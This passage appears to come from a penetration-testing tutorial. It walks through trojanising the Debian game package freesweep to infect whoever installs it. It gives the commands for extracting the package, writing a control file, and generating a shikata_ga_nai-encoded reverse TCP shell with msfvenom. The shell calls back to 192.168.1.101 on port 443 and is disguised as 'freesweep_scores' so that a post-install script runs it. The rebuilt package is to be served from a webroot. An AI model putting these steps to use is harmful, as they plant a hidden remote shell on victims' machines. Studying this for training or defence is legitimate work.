We first need to download the package that we are going to infect and move it to a temporary working directory. In our example, we will use the package freesweep, a text-based version of Mine Sweeper.
root@kali:~# apt-get --download-only install freesweep
Reading package lists... Done
Building dependency tree
Reading state information... Done
root@kali:~# mkdir /tmp/evil
root@kali:~# mv /var/cache/apt/archives/freesweep_0.90-1_i386.deb /tmp/evil
root@kali:~# cd /tmp/evil/
Next, we need to extract the package to a working directory and create a DEBIAN directory to hold our additional added “features”.
root@kali:/tmp/evil# dpkg -x freesweep_0.90-1_i386.deb work
root@kali:/tmp/evil# mkdir work/DEBIAN
In the DEBIAN directory, create a file named control that contains the following:
root@kali:/tmp/evil/work/DEBIAN# cat control
Section: Games and Amusement
Maintainer: Ubuntu MOTU Developers (email@example.com)
Description: a text-based minesweeper
Freesweep is an implementation of the popular minesweeper game, where
one tries to find all the mines without igniting any, based on hints given
by the computer. Unlike most implementations of this game, Freesweep
works in any visual text display - in Linux console, in an xterm, and in
most text-based terminals currently in use.
We also need to create a post-installation script that will execute our binary. In our DEBIAN directory, we’ll create a file named postinst that contains the following:
Now we’ll create our malicious payload. We’ll be creating a reverse shell to connect back to us named ‘freesweep_scores’.
root@kali:~# msfvenom -a x86 --platform linux -p linux/x86/shell/reverse_tcp LHOST=192.168.1.101 LPORT=443 -b "\x00" -f elf -o /tmp/evil/work/usr/games/freesweep_scores
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 98 (iteration=0)
x86/shikata_ga_nai chosen with final size 98
Payload size: 98 bytes
Saved as: /tmp/evil/work/usr/games/freesweep_scores
We’ll now make our post-installation script executable and build our new package. The built file will be named work.deb so we will want to change that to freesweep.deb and copy the package to our webroot directory.